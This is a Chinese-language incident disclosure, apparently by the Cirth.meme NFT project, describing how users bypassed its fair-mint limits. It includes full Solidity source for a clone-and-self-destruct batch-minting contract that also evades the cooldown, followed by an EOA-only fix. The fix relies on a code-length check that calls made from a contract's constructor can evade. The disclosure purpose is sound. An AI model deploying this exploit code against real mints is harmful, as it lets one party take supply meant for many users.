Cirth.meme
上线4天,各方面表现良好。但铸造代码中,发现存在使用合约来批量铸造的可能,这严重影响了公平铸造。
类似的交易记录见:https://etherscan.io/tx/0xa58e8039740892f59b25ec0e14ce63d3d5c62eba0b16cdcd61c65553d5c67874。
原因
社区提交上述交易后,经技术团队研究,复现了其操作,大概的方式为:写两个智能合约,一个为主控制合约,一个为铸造合约,在主控制合约中创建多个铸造合约,通过铸造合约伪造正常用户,去调用Cirth
合约的mint
方法。
下面是实现类似功能的智能合约源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface IFERC721C {
function mint(address to) external;
}
interface ICallMint {
function mint() external;
function destroy() external;
}
contract BatchMint is Ownable {
address public immutable tokenImplementation;
event Deploy(address);
constructor(address _ferc721) {
tokenImplementation = address(new CallMint(msg.sender, _ferc721));
}
function deployAndMint(uint times) public onlyOwner() {
for(uint i; i < times; i++) {
address tokenAddress = Clones.clone(tokenImplementation);
ICallMint(tokenAddress).mint();
ICallMint(tokenAddress).destroy();
emit Deploy(tokenAddress);
}
}
}
contract CallMint {
address public immutable ferc721;
address public immutable receiver;
constructor(address _receiver, address _ferc721) {
ferc721 = _ferc721;
receiver = _receiver;
}
function mint() public {
IFERC721C(ferc721).mint(receiver);
}
function destroy() public {
selfdestruct(payable(receiver));
}
}
解释:
-
BatchMint:主控制合约 批量铸造合约,该合约在构建时,创造一个
CallMint
合约的模版,在批量铸造方法deployAndMint
中,通过Clone
方法生成多个调用合约(即B合约) -
CallMint:铸造合约 单次铸造后,立即销毁自己,在链上不留痕迹。铸造时,由合约调用人接收NFT。
-
该方法经测试,单个NFT铸造的Gas费比正常铸造高30%。
-
如果在切换调用合约时,同时转Ferc,可以实现只要拥有10个Ferc,就能给N个铸造合约使用。
-
该方法不需要手动在钱包中开多个账户,并且可以绕开冷冻时间。
解决方案
在铸造方法中增加一个对调用账户的限制,即仅允许EOA账户调用,拒绝合约账户调用(包括AA账户),如下:
function mint(address _to) public payable {
require(_tokenData.totalSupply < _tokenData.max / _tokenData.limit, "touch the max batch");
require(_to != address(0), "mint to zero address");
require(msg.sender.code.length == 0 && _to.code.length == 0, "contract account not support"); // 增加该行
...
}
以上更新将在下一版中实施,但这个解决方案的缺陷在于,将无法支持AA账户。